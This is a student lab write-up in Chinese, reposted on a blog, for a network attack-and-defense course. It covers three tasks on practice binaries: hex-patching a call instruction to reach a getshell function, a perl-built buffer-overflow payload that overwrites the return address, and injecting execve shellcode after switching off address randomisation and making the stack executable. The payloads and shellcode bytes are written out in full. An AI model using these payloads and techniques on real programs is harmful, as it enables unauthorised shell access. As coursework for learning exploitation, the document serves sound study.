博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
2018-2019-2 网络对抗技术 20165318 Exp1 PC平台逆向破解
阅读量:6572 次
发布时间:2019-06-24

本文共 4164 字,大约阅读时间需要 13 分钟。

实验模块


实验准备

  1. 设置共享文件夹(这一步我已经在之前安装kali的时候做好了)

  2. 将老师提供的pwn1文件通过共享文件夹传到kali上以便以后使用。

  3. pwn1文件复制到主目录下,并进行备份

  4. 输入apt-get install lib32z1指令,使64位kali可以运行32位程序


知识点描述

  1. 掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码

    具体用法和功能可参考
    • NOP汇编指令的机器码是“90”
    • JNE汇编指令的机器码是“75”
    • JE 汇编指令的机器码是“74”
    • JMP汇编指令的机器码是“eb”
    • CMP汇编指令的机器码是“39”
  2. 掌握反汇编与十六进制编程器

    • 反汇编指令objdump -d filename,可参考
      • 如果我们想要以全屏幕的方式按页显示反汇编的内容,可以利用“管道”,即在反汇编指令后添加| more,这样我们就可以利用more的一些快捷键,如:Enter(向下翻滚一行),空格(向下滚动一屏),Q(退出命令)
    • 管道“|”,输出重定向“>”,具体的功能和用法可参考

    • 十六进制编程器,是用来以16进制视图进行文本编辑的编辑工具软件。其实我们只需要用各系统都兼容的“vim”编辑器就可以实现十六进制编辑的功能。具体步骤如下:

      • 输入命令vi pwn1查看可执行文件内容,为ASCII码形式显示;
      • 输入:%!xxd将显示模式切换为16进制模式;
      • 进行相关操作后,输入:%!xxd -r转换16进制为为ASCII码形式。
  3. 能正确修改机器指令改变程序执行流程

  4. 能正确构造payload进行bof攻击


任务一 直接修改程序机器指令,改变程序执行流程

通过修改main函数中的call指令跳转的地址,使其本来该跳转到foo函数时,跳转到getshell函数,从而运行getshell函数。

:call指令的机器码为e8,其跳转的位置为寄存器eip的值+call指令后的立即数

1.输入指令objdump -d pwn1 | more反汇编pwn1文件。

1296414-20190312212429676-1168880108.jpg

通过反汇编,可以看到main函数中的call 804891<foo>,其机器码为e8 d7 ff ff ff

其中foo函数的地址为08048491,getshell函数的地址为0804847d,通过计算其对应关系(小端机器)

0x08048491 - 0x0804847d = 0x00000014  //计算地址差0xffffffd7 - 0x00000014 = 0xffffffc3  //计算要修改的目标地址

2.输入指令vi pwn1打开文件

打开之后我们会看到文件以ASCII码的形式出现

3.输入:%!xxd通过调用命令行,将文件转换为16进制查看

4.使用/d7命令寻找e8d7ffffff机器指令所在位置

5.找到后,输入i进入插入模式,将d7修改为c3

1296414-20190312213125747-1170064062.png

6.输入:%!xxd -r将文件转换为ASCII码形式(一定要转换,否则会出问题),输入:wq保存并退出

7.此时输入指令objdump -d pwn1 | more查看,可以发现pwn1文件已经被修改了

1296414-20190312213549087-631521740.png

8.运行pwn1文件和pwn1.0文件(pwn1文件是被修改过的,pwn1.0文件是原始的未被修改过的),可以发现两个文件的运行结果是截然不同的。

1296414-20190312213701018-1813430164.png

实验成功!!!


任务二 通过构造输入参数,造成BOF攻击,改变程序执行流

pwn2正常运行是调用函数foo,但是这个函数有Bufferoverflow漏洞。读入字符串时,系统只预留了一定字节的缓冲区,超出部分会造成溢出,我们的目标是覆盖返回地址。尝试发现,当输入为以下字符时已经发生段错误,产生溢出。

1296414-20190312214845423-457183479.jpg

1.输入指令objdump -d pwn2 | more查看,计算要达到缓冲区溢出说需要输入的字符数

1296414-20190312215633936-928343148.png

由上图可以推测,需要输入的字节大约在32字节,下面对其进行验证

2.打开一个终端进入gdb,输入字符串1111111122222222333333334444444412345555,观察一下各寄存器的值

1296414-20190312220728975-955103539.png

从上图可以看到eip寄存器中的值为0x34333231,对应字符串中的1234

由此可见,如果输入字符串1111111122222222333333334444444412345555,那 1234 那四个数最终会覆盖到堆栈上的返回地址,进而CPU会尝试运行这个位置的代码。那只要把这四个字符替换为 getshell 的内存地址,输给pwn2,pwn2就会运行getshell。

getshell函数的地址为:0x0804847d,由于输入字符串时是以ASCII码输入,因此要转换为\x7d\x84\x04\x08,并需要使用Perl语言构造文件(Perl是一门解释型语言,不需要预编译,可以在命令行上直接使用)。

3.输入perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > BOF.1

4.输入xxd BOF.1查看内容

5.通过管道符|,作为pwn1的输入,格式为(cat BOF.1; cat ) | ./pwn2

1296414-20190312222113461-1691629.png

攻击成功!!!


任务三 注入Shellcode并运行攻击

  • shellcode就是一段机器指令(code),通常这段机器指令的目的是为获取一个交互式的shell(像linux的shell或类似windows下的cmd.exe),所以这段机器指令被称为shellcode。

  • 在实际的应用中,凡是用来注入的机器指令段都通称为shellcode,像添加一个用户、运行一条指令。

1.输入指令apt-get install execstack安装execstack

并设置堆栈可执行:

execstack -s pwn3    //设置堆栈可执行execstack -q pwn3    //查询文件的堆栈是否可执行

2.关闭地址随机化(如果不关闭的话,每次操作esp的地址都会发生变化)

more /proc/sys/kernel/randomize_va_space                 //查看随机化是否关闭echo "0" > /proc/sys/kernel/randomize_va_space        //关闭随机化

(“2”为开启,“0”为关闭)

1296414-20190312224044140-740732207.png

3.我们需要注入一段代码,我们首先构造一个input_shellcode(参考老师给的代码):

perl -e 'print "A" x 32;print "\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode

4.在一个窗口运行(cat input_shellcode;cat) | ./pwn3

5.在另外一个窗口ps -ef | grep pwn能看见当前运行pwn3的进程号为2396;

1296414-20190312225120039-1743405195.png

6.在gdb里面attach 2396进行调试

7.disassemble foo反编译

8.可以看到ret指令的地址为0x080484ae,在此处设置断点break *0x080484ae

1296414-20190312225629020-1424947010.png

9.在另一个终端按下回车,这样程序就会执行之后在断点处停下来

10.再在gdb调试的终端输入 c 继续运行程序

11.info r esp查看esp寄存器地址

12.x/16x 0xffffd34c以16进制形式查看0xffffd34c地址后面16字节的内容

1296414-20190312230436657-1998620006.png

从上图中看到01020304所在的地址为0xffffd34c,那么注入的shellcode代码的地址应该在该ret指令地址后四个字节的位置,即0xffffd34c + 0x00000004 = 0xffffd350。随后退出gdb调试。

13.修改注入代码的覆盖地址

perl -e 'print "A" x 32;print"\x50\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode

14.输入命令(cat input_shellcode;cat) | ./pwn3

1296414-20190312231504268-730614148.png

攻击成功!!!


遇到的问题及解决方法

  • 问题:在64位kali上运行pwn1时,出现以下问题。

    1296414-20190312211324546-1162395322.png

  • 解决方法:参考,输入apt-get install lib32z1指令,使64位kali可以运行32位程序。


实验收获与感想

  • 我的收获

虽然在之前的课程中学习过指令体系结构以及其对应机器码的相关内容,但当时学习的时候并没有完全掌握,对堆栈和一些寄存器的使用还很懵懂。第一次动手实现缓冲区溢出攻击,使我对堆栈的结构有了更深的认识,理解了堆栈是怎么被恶意代码覆盖的,覆盖后是怎么实现跳转的,跳转后是怎么执行的;也在实践中掌握了一些常用的指令的机器码以及寄存器的功能。

  • 什么是漏洞?漏洞有什么危害?

通过这次实验,我发现缓冲区溢出漏洞是在程序设计时,由于没有考虑到输入超出栈分配的空间的情况,被攻击者利用造成的,这些漏洞可能一方面与程序设计有关,一方面还与计算机本身的设置和属性有关,比如要想构造payload进行bof攻击,必须提前更改相关设置,让堆栈中的代码可执行,这也可以体现出计算机设置不足也会给攻击者提供机会。危害很大,被攻击的计算机可能会进入命令行模式,从而攻击者可以对文件进行任意的操作,也可能会执行相关的恶意代码,为木马植入、后门设置提供条件。


参考资料

转载于:https://www.cnblogs.com/sunxiaoxuan/p/10520355.html

你可能感兴趣的文章
arcgis api for js之echarts开源js库实现地图统计图分析
查看>>
Microsoft JDBC Driver 4.0 for SQL Server
查看>>
delphi2010中FastReport的安装方法
查看>>
总结新浪friendship接口
查看>>
HDU 4293 Groups (线性dp)
查看>>
博客园博客美化相关文章目录
查看>>
excel中如何批量将所有的网址设为超链接
查看>>
Nodejs学习笔记(十二)--- 定时任务(node-schedule)
查看>>
加密算法使用(五):RSA使用全过程
查看>>
root用户重置其他密码
查看>>
C#------如何获取本机IP地址
查看>>
关于查询扩展版ESI高被引论文的说明
查看>>
【iCore3应用】基于iCore3双核心板的编码器应用实例
查看>>
Oracle推断值为非数字
查看>>
得知发行组长老潘今天岗位上最后一天就要离开有感
查看>>
[转]WF事件驱动(1)
查看>>
异常关闭MyEclipse 8.6后,不能重启
查看>>
多年前写的一个ASP.NET网站管理系统,到现在有些公司在用
查看>>
vue-cli中理不清的assetsSubDirectory 和 assetsPublicPath
查看>>
爆款 | Medium上6900个赞的AI学习路线图,让你快速上手机器学习
查看>>